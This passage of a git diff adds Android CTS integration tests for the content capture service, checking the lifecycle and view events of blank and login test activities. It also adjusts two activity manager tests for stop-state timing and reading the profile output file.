diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
new file mode 100644
index 0000000..9a7b071
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertLifecycleEvent;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Helper.TAG;
+import static android.contentcaptureservice.cts.Helper.enableService;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_PAUSED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STARTED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STOPPED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.contentcaptureservice.cts.CtsSmartSuggestionsService.Session;
+import android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityWatcher;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.contentcapture.ContentCaptureEvent;
+
+import org.junit.Test;
+
+import java.util.List;
+
+public class BlankActivityTest extends AbstractContentCaptureIntegrationTest<BlankActivity> {
+
+    private static final ActivityTestRule<BlankActivity> sActivityRule = new ActivityTestRule<>(
+            BlankActivity.class, false, false);
+
+    public BlankActivityTest() {
+        super(BlankActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<BlankActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    // TODO(b/119638958): rename once we add moar tests
+    @Test
+    public void testIt() throws Exception {
+        enableService();
+
+        // TODO(b/119638958): move to super class
+        final ActivityWatcher watcher = mActivitiesWatcher.watch(BlankActivity.class);
+
+        final BlankActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final CtsSmartSuggestionsService service = CtsSmartSuggestionsService.getInstance();
+        try {
+            final Session session = service.getFinishedSession(BlankActivity.class);
+
+            assertRightActivity(session, activity);
+
+            final List<ContentCaptureEvent> events = session.getEvents();
+            Log.v(TAG, "events: " + events);
+            assertThat(events).hasSize(4);
+            assertLifecycleEvent(events.get(0), TYPE_ACTIVITY_STARTED);
+            assertLifecycleEvent(events.get(1), TYPE_ACTIVITY_RESUMED);
+            assertLifecycleEvent(events.get(2), TYPE_ACTIVITY_PAUSED);
+            assertLifecycleEvent(events.get(3), TYPE_ACTIVITY_STOPPED);
+        } finally {
+            // TODO(b/119638958): move to @Rule SafeCleaner
+            CtsSmartSuggestionsService.assertNoExceptions();
+        }
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsSmartSuggestionsService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsSmartSuggestionsService.java
new file mode 100644
index 0000000..0983108
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsSmartSuggestionsService.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
+import static android.contentcaptureservice.cts.Helper.await;
+
+import android.app.Activity;
+import android.service.contentcapture.ContentCaptureEventsRequest;
+import android.service.contentcapture.ContentCaptureService;
+import android.service.contentcapture.InteractionContext;
+import android.service.contentcapture.InteractionSessionId;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ViewNode;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+// TODO(b/119638958): if we don't move this service to a separate package, we need to handle the
+// onXXXX methods in a separate thread
+// Either way, we need to make sure its methods are thread safe
+public class CtsSmartSuggestionsService extends ContentCaptureService {
+
+    private static final String TAG = CtsSmartSuggestionsService.class.getSimpleName();
+
+    public static final String SERVICE_NAME = MY_PACKAGE + "/."
+            + CtsSmartSuggestionsService.class.getSimpleName();
+
+    private static final CountDownLatch sInstanceLatch = new CountDownLatch(1);
+
+    private static CtsSmartSuggestionsService sInstance;
+
+    // TODO(b/119638958): add method to clear static state / call it from @Before
+    private static final ArrayList<Throwable> sExceptions = new ArrayList<>();
+
+    public static CtsSmartSuggestionsService getInstance() throws InterruptedException {
+        await(sInstanceLatch, "Service not started");
+        return sInstance;
+    }
+
+    private final ArrayMap<InteractionSessionId, Session> mOpenSessions = new ArrayMap<>();
+    private final ArrayMap<String, Session> mFinishedSessions = new ArrayMap<>();
+    private final ArrayMap<String, CountDownLatch> mUnfinishedSessionLatches = new ArrayMap<>();
+
+    @Override
+    public void onCreate() {
+        Log.d(TAG, "onCreate(): sInstance=" + sInstance);
+        super.onCreate();
+
+        if (sInstance == null) {
+            sInstance = this;
+            sInstanceLatch.countDown();
+        } else {
+            Log.e(TAG, "onCreate(): already created:" + sInstance);
+            sExceptions.add(new IllegalStateException("onCreate() again"));
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "onDestroy(): sInstance=" + sInstance);
+        super.onDestroy();
+
+        if (this == sInstance) {
+            sInstance = null;
+        }
+    }
+
+    @Override
+    public void onCreateInteractionSession(InteractionContext context,
+            InteractionSessionId sessionId) {
+        Log.d(TAG, "onCreateInteractionSession(ctx=" + context + ", id=" + sessionId + ")");
+
+        safeRun(() -> {
+            final Session session = mOpenSessions.get(sessionId);
+            if (session != null) {
+                throw new IllegalStateException("Already contains session for " + sessionId
+                        + ": " + session);
+            }
+            mUnfinishedSessionLatches.put(context.getActivityComponent().getClassName(),
+                    new CountDownLatch(1));
+            mOpenSessions.put(sessionId, new Session(sessionId, context));
+        });
+    }
+
+    @Override
+    public void onDestroyInteractionSession(InteractionSessionId sessionId) {
+        Log.d(TAG, "onDestroyInteractionSession(" + sessionId + ")");
+        safeRun(() -> {
+            final Session session = getExistingSession(sessionId);
+            session.finished = true;
+            mOpenSessions.remove(sessionId);
+            final String className = session.context.getActivityComponent().getClassName();
+            if (mFinishedSessions.containsKey(className)) {
+                throw new IllegalStateException("Already destroyed " + className);
+            } else {
+                mFinishedSessions.put(className, session);
+                final CountDownLatch latch = getUnfinishedSessionLatch(className);
+                latch.countDown();
+            }
+        });
+    }
+
+    @Override
+    public void onContentCaptureEventsRequest(InteractionSessionId sessionId,
+            ContentCaptureEventsRequest request) {
+        final List<ContentCaptureEvent> events = request.getEvents();
+        final int size = events.size();
+        Log.d(TAG, "onContentCaptureEventsRequest(" + sessionId + "): " + size + " events");
+        for (int i = 0; i < size; i++) {
+            final ContentCaptureEvent event = events.get(i);
+            final StringBuilder msg = new StringBuilder("  ").append(i).append(": ").append(event);
+            final ViewNode node = event.getViewNode();
+            if (node != null) {
+                msg.append(", parent=").append(node.getParentAutofillId());
+            }
+            Log.v(TAG, msg.toString());
+        }
+        safeRun(() -> {
+            final Session session = getExistingSession(sessionId);
+            session.mRequests.add(request);
+        });
+    }
+
+    /**
+     * Gets the finished session for the given activity.
+     *
+     * @throws IllegalStateException if the session didn't finish yet.
+     */
+    @NonNull
+    public Session getFinishedSession(@NonNull Class<? extends Activity> clazz)
+            throws InterruptedException {
+        final String className = clazz.getName();
+        final CountDownLatch latch = getUnfinishedSessionLatch(className);
+        await(latch, "session for %s not finished yet", className);
+
+        final Session session = mFinishedSessions.get(className);
+        if (session == null) {
+            throwIllegalSessionStateException("No finished session for %s", className);
+        }
+        return session;
+    }
+
+    @NonNull
+    private CountDownLatch getUnfinishedSessionLatch(final String className) {
+        final CountDownLatch latch = mUnfinishedSessionLatches.get(className);
+        if (latch == null) {
+            throwIllegalSessionStateException("no latch for %s", className);
+        }
+        return latch;
+    }
+
+    /**
+     * Asserts that no exception was thrown while the service handlded requests.
+     */
+    public static void assertNoExceptions() throws Exception {
+        if (sExceptions.isEmpty()) return;
+        if (sExceptions.size() == 1) {
+            throwException(sExceptions.get(0));
+        }
+        // TODO(b/119638958): use a MultipleExceptions class (from common)
+        throw new AssertionError("Multiple exceptions: " + sExceptions);
+    }
+
+    private void throwIllegalSessionStateException(@NonNull String fmt, @Nullable Object...args) {
+        throw new IllegalStateException(String.format(fmt, args)
+                + ". Open=" + mOpenSessions
+                + ". Latches=" + mUnfinishedSessionLatches
+                + ". Finished=" + mFinishedSessions);
+    }
+
+    private Session getExistingSession(@NonNull InteractionSessionId sessionId) {
+        final Session session = mOpenSessions.get(sessionId);
+        if (session == null) {
+            throwIllegalSessionStateException("No open session with id %s", sessionId);
+        }
+        if (session.finished) {
+            throw new IllegalStateException("session already finished: " + session);
+        }
+
+        return session;
+    }
+
+    private void safeRun(@NonNull Runnable r) {
+        try {
+            r.run();
+        } catch (Throwable t) {
+            Log.e(TAG, "Exception handling service callback: " + t);
+            sExceptions.add(t);
+        }
+    }
+
+    private static void throwException(Throwable t) throws Exception {
+        if (t instanceof Exception) {
+            throw (Exception) t;
+        }
+        if (t instanceof Error) {
+            throw (Error) t;
+        }
+        throw new Exception(t);
+    }
+
+    public final class Session {
+        public final InteractionSessionId id;
+        public final InteractionContext context;
+        private final List<ContentCaptureEventsRequest> mRequests = new ArrayList<>();
+        public boolean finished;
+
+        private Session(InteractionSessionId id, InteractionContext context) {
+            this.id = id;
+            this.context = context;
+        }
+
+        // TODO(b/119638958): currently we're only interested on all events, but eventually we
+        // should track individual requests as well to make sure they're probably batch (it will
+        // require adding a Settings to tune the buffer parameters.
+        public List<ContentCaptureEvent> getEvents() {
+            final List<ContentCaptureEvent> events = new ArrayList<>();
+            for (ContentCaptureEventsRequest request : mRequests) {
+                events.addAll(request.getEvents());
+            }
+            return Collections.unmodifiableList(events);
+        }
+
+        @Override
+        public String toString() {
+            return "[id=" + id + ", context=" + context + ", requests=" + mRequests.size()
+                    + ", finished=" + finished + "]";
+        }
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
new file mode 100644
index 0000000..1b886c4
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper for common funcionalities.
+ */
+final class Helper {
+
+    public static final String TAG = "ContentCaptureTest";
+
+    public static final long GENERIC_TIMEOUT_MS = 2000;
+
+    public static final String MY_PACKAGE = "android.contentcaptureservice.cts";
+
+    public static final long MY_EPOCH = SystemClock.uptimeMillis();
+
+    /**
+     * Awaits for a latch to be counted down.
+     */
+    public static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+            @Nullable Object... args)
+            throws InterruptedException {
+        final boolean called = latch.await(GENERIC_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (!called) {
+            throw new IllegalStateException(String.format(fmt, args)
+                    + " in " + GENERIC_TIMEOUT_MS + "ms");
+        }
+    }
+
+    /**
+     * Sets the content capture service.
+     */
+    public static void setService(@NonNull String service) {
+        Log.d(TAG, "Setting service to " + service);
+        // TODO(b/119638958): use @TestingAPI for max duration constant
+        runShellCommand("cmd content_capture set temporary-service 0 " + service + " 12000");
+        // TODO(b/119638958): add a more robust mechanism to wait for service to be set.
+        // For example, when the service is set using a shell cmd, block until the
+        // IntelligencePerUserService is cached (or use a @TestingApi instead of shell cmd)
+        SystemClock.sleep(GENERIC_TIMEOUT_MS);
+    }
+
+    /**
+     * Resets the content capture service.
+     */
+    public static void resetService() {
+        Log.d(TAG, "Resetting back to default service");
+        runShellCommand("cmd content_capture set temporary-service 0");
+    }
+
+    /**
+     * Sets {@link CtsSmartSuggestionsService} as the service for the current user.
+     */
+    public static void enableService() {
+        setService(CtsSmartSuggestionsService.SERVICE_NAME);
+    }
+
+    private Helper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
new file mode 100644
index 0000000..4991e2b
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+public class LoginActivity extends AbstractContentCaptureActivity {
+
+    LinearLayout mRootView;
+    TextView mUsernameLabel;
+    EditText mUsername;
+    TextView mPasswordLabel;
+    EditText mPassword;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.login_activity);
+
+        mRootView = findViewById(R.id.root_view);
+        mUsernameLabel = findViewById(R.id.username_label);
+        mUsername = findViewById(R.id.username);
+        mPasswordLabel = findViewById(R.id.password_label);
+        mPassword = findViewById(R.id.password);
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
new file mode 100644
index 0000000..b0c1267
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertLifecycleEvent;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewDisappeared;
+import static android.contentcaptureservice.cts.Helper.TAG;
+import static android.contentcaptureservice.cts.Helper.enableService;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_PAUSED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STARTED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STOPPED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.contentcaptureservice.cts.CtsSmartSuggestionsService.Session;
+import android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityWatcher;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+
+import org.junit.Test;
+
+import java.util.List;
+
+public class LoginActivityTest extends AbstractContentCaptureIntegrationTest<LoginActivity> {
+
+    private static final ActivityTestRule<LoginActivity> sActivityRule = new ActivityTestRule<>(
+            LoginActivity.class, false, false);
+
+    public LoginActivityTest() {
+        super(LoginActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<LoginActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    // TODO(b/119638958): rename once we add moar tests
+    @Test
+    public void testIt() throws Exception {
+        enableService();
+
+        // TODO(b/119638958): move to super class
+        final ActivityWatcher watcher = mActivitiesWatcher.watch(LoginActivity.class);
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final CtsSmartSuggestionsService service = CtsSmartSuggestionsService.getInstance();
+        try {
+            final Session session = service.getFinishedSession(LoginActivity.class);
+
+            assertRightActivity(session, activity);
+
+            final List<ContentCaptureEvent> events = session.getEvents();
+            Log.v(TAG, "events: " + events);
+            // TODO(b/119638958): ideally it should be 14 so it reflects just the views defined
+            // in the layout - right now it's generating events for 2 intermediate parents
+            // (android:action_mode_bar_stub and android:content), we should try to create an
+            // activity without them
+
+            final AutofillId rootId = activity.mRootView.getAutofillId();
+
+            assertThat(events).hasSize(18);
+            assertLifecycleEvent(events.get(0), TYPE_ACTIVITY_STARTED);
+            assertLifecycleEvent(events.get(1), TYPE_ACTIVITY_RESUMED);
+            assertViewAppeared(events.get(2), activity.mUsernameLabel, rootId);
+            assertViewAppeared(events.get(3), activity.mUsername, rootId);
+            assertViewAppeared(events.get(4), activity.mPasswordLabel, rootId);
+            assertViewAppeared(events.get(5), activity.mPassword, rootId);
+            // TODO(b/119638958): get rid of those intermediated parents
+            final View grandpa1 = (View) activity.mRootView.getParent();
+            final View grandpa2 = (View) grandpa1.getParent();
+            final View decorView = (View) grandpa2.getParent();
+
+            assertViewAppeared(events.get(6), activity.mRootView, grandpa1.getAutofillId());
+            assertViewAppeared(events.get(7), grandpa1, grandpa2.getAutofillId());
+            assertViewAppeared(events.get(8), grandpa2, decorView.getAutofillId());
+
+            // TODO(b/119638958): VIEW_DISAPPEARED events should be send before the activity
+            // stopped - if we don't deprecate the latter, we should change the manager to make sure
+            // they're send in that order (or dropped)
+            assertLifecycleEvent(events.get(9), TYPE_ACTIVITY_PAUSED);
+            assertLifecycleEvent(events.get(10), TYPE_ACTIVITY_STOPPED);
+
+            assertViewDisappeared(events.get(11), grandpa2.getAutofillId());
+            assertViewDisappeared(events.get(12), grandpa1.getAutofillId());
+            assertViewDisappeared(events.get(13), activity.mRootView.getAutofillId());
+            assertViewDisappeared(events.get(14), activity.mUsernameLabel.getAutofillId());
+            assertViewDisappeared(events.get(15), activity.mUsername.getAutofillId());
+            assertViewDisappeared(events.get(16), activity.mPasswordLabel.getAutofillId());
+            assertViewDisappeared(events.get(17), activity.mPassword.getAutofillId());
+        } finally {
+            // TODO(b/119638958): move to @Rule SafeCleaner
+            CtsSmartSuggestionsService.assertNoExceptions();
+        }
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/ActivitiesWatcher.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/ActivitiesWatcher.java
new file mode 100644
index 0000000..79d625a
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/ActivitiesWatcher.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts.common;
+
+import android.app.Activity;
+import android.app.Application.ActivityLifecycleCallbacks;
+import android.os.Bundle;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper object used to watch for activities lifecycle events.
+ *
+ * <p><b>NOTE:</b> currently it's limited to:
+ *
+ * <ul>
+ *   <li>Just RESUMED and DESTROYED events.
+ *   <li>Just one occurrence of each event.
+ * </ul>
+ *
+ * <p>These limitations will be fixed as needed (A.K.A. K.I.S.S. :-)
+ */
+public final class ActivitiesWatcher implements ActivityLifecycleCallbacks {
+
+    private static final String TAG = ActivitiesWatcher.class.getSimpleName();
+
+    private final Map<String, ActivityWatcher> mWatchers = new ArrayMap<>();
+    private final long mTimeoutMs;
+
+    /**
+     * Default constructor.
+     *
+     * @param timeoutMs how long to wait for given lifecycle event before timing out.
+     */
+    public ActivitiesWatcher(long timeoutMs) {
+        mTimeoutMs = timeoutMs;
+    }
+
+    @Override
+    public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+        Log.v(TAG, "onActivityCreated(): " + activity);
+    }
+
+    @Override
+    public void onActivityStarted(Activity activity) {
+        Log.v(TAG, "onActivityStarted(): " + activity);
+    }
+
+    @Override
+    public void onActivityResumed(Activity activity) {
+        Log.v(TAG, "onActivityResumed(): " + activity);
+        notifyWatcher(activity, ActivityLifecycle.RESUMED);
+    }
+
+    @Override
+    public void onActivityPaused(Activity activity) {
+        Log.v(TAG, "onActivityPaused(): " + activity);
+    }
+
+    @Override
+    public void onActivityStopped(Activity activity) {
+        Log.v(TAG, "onActivityStopped(): " + activity);
+    }
+
+    @Override
+    public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+        Log.v(TAG, "onActivitySaveInstanceState(): " + activity);
+    }
+
+    @Override
+    public void onActivityDestroyed(Activity activity) {
+        Log.v(TAG, "onActivityDestroyed(): " + activity);
+        notifyWatcher(activity, ActivityLifecycle.DESTROYED);
+    }
+
+    /**
+     * Gets a watcher for the given activity.
+     *
+     * @throws IllegalStateException if already registered.
+     */
+    public ActivityWatcher watch(@NonNull Class<? extends Activity> clazz) {
+        return watch(clazz.getName());
+    }
+
+    /**
+     * Gets a watcher for the given activity.
+     *
+     * @throws IllegalStateException if already registered.
+     */
+    public ActivityWatcher watch(@NonNull String className) {
+        if (mWatchers.containsKey(className)) {
+            throw new IllegalStateException("Already watching " + className);
+        }
+        Log.d(TAG, "Registering watcher for " + className);
+        final ActivityWatcher watcher = new ActivityWatcher(mTimeoutMs);
+        mWatchers.put(className,  watcher);
+        return watcher;
+    }
+
+    private void notifyWatcher(@NonNull Activity activity, @NonNull ActivityLifecycle lifecycle) {
+        final String className = activity.getComponentName().getClassName();
+        final ActivityWatcher watcher = mWatchers.get(className);
+        if (watcher != null) {
+            Log.d(TAG, "notifying watcher of " + className + " of " + lifecycle);
+            watcher.notify(lifecycle);
+        } else {
+            Log.v(TAG, lifecycle + ": no watcher for " + className);
+        }
+    }
+
+    /**
+     * Object used to watch for acitivity lifecycle events.
+     *
+     * <p><b>NOTE: </b>currently it only supports one occurrence for each event.
+     */
+    public static final class ActivityWatcher {
+        private final CountDownLatch mResumedLatch = new CountDownLatch(1);
+        private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
+        private final long mTimeoutMs;
+
+        private ActivityWatcher(long timeoutMs) {
+            mTimeoutMs = timeoutMs;
+        }
+
+        /**
+         * Blocks until the given lifecycle event happens.
+         *
+         * @throws IllegalStateException if it times out while waiting.
+         * @throws InterruptedException if interrupted while waiting.
+         */
+        public void waitFor(@NonNull ActivityLifecycle lifecycle) throws InterruptedException {
+            final CountDownLatch latch = getLatch(lifecycle);
+            final boolean called = latch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+            if (!called) {
+                throw new IllegalStateException(lifecycle + " not called in " + mTimeoutMs + " ms");
+            }
+        }
+
+        private CountDownLatch getLatch(@NonNull ActivityLifecycle lifecycle) {
+            switch (lifecycle) {
+                case RESUMED:
+                    return mResumedLatch;
+                case DESTROYED:
+                    return mDestroyedLatch;
+                default:
+                    throw new IllegalArgumentException("unsupported lifecycle: " + lifecycle);
+            }
+        }
+
+        private void notify(@NonNull ActivityLifecycle lifecycle) {
+            getLatch(lifecycle).countDown();
+        }
+    }
+
+    /**
+     * Supported activity lifecycle.
+     */
+    public enum ActivityLifecycle {
+        RESUMED,
+        DESTROYED
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/README.txt b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/README.txt
new file mode 100644
index 0000000..2cdbf75
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/README.txt
@@ -0,0 +1,2 @@
+This package contains utilities that are not tied to Content Capture and might eventually move to
+a common CTS package.
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index b56cda1..1719efd 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -26,7 +26,6 @@
 import static android.server.am.ActivityManagerState.STATE_PAUSED;
 import static android.server.am.ActivityManagerState.STATE_RESUMED;
 import static android.server.am.ActivityManagerState.STATE_STOPPED;
-import static android.server.am.ComponentNameUtils.getActivityName;
 import static android.server.am.Components.ALT_LAUNCHING_ACTIVITY;
 import static android.server.am.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
 import static android.server.am.Components.BROADCAST_RECEIVER_ACTIVITY;
@@ -442,6 +441,10 @@
             assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
 
             lockScreenSession.sleepDevice();
+            // We should make sure test activity stopped to prevent a false alarm stop state
+            // included when separateLogs() called.
+            waitAndAssertActivityState(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, STATE_STOPPED,
+                    "Activity should be stopped");
             logSeparator = separateLogs();
             launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
             mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index eb6e62c..74f4546 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -26,14 +26,9 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.ComponentName;
-import android.support.test.InstrumentationRegistry;
 
-import org.junit.Before;
 import org.junit.Test;
 
-import java.io.File;
-import java.io.FileInputStream;
-
 /**
  * Build/Install/Run:
  *     atest CtsActivityManagerDeviceTestCases:ActivityManagerAmProfileTests
@@ -46,17 +41,6 @@
     private static final String FIRST_WORD_NO_STREAMING = "*version\n";
     private static final String FIRST_WORD_STREAMING = "SLOW";  // Magic word set by runtime.
 
-    private String mReadableFilePath = null;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mReadableFilePath = InstrumentationRegistry.getContext()
-            .getExternalFilesDir(null)
-            .getPath() + "/profile.trace";
-    }
-
     /**
      * Test am profile functionality with the following 3 configurable options:
      *    starting the activity before start profiling? yes;
@@ -161,28 +145,17 @@
 
     private void verifyOutputFileFormat(final boolean streaming) throws Exception {
         // This is a hack. The am service has to write to /data/local/tmp because it doesn't have
-        // access to the sdcard but the test app can't read there
-        executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
+        // access to the sdcard. The test cannot read from /data/local/tmp. This allows us to
+        // scan the content to validate what is needed for this test.
+        final String firstLine = executeShellCommand("head -1 " + OUTPUT_FILE_PATH);
 
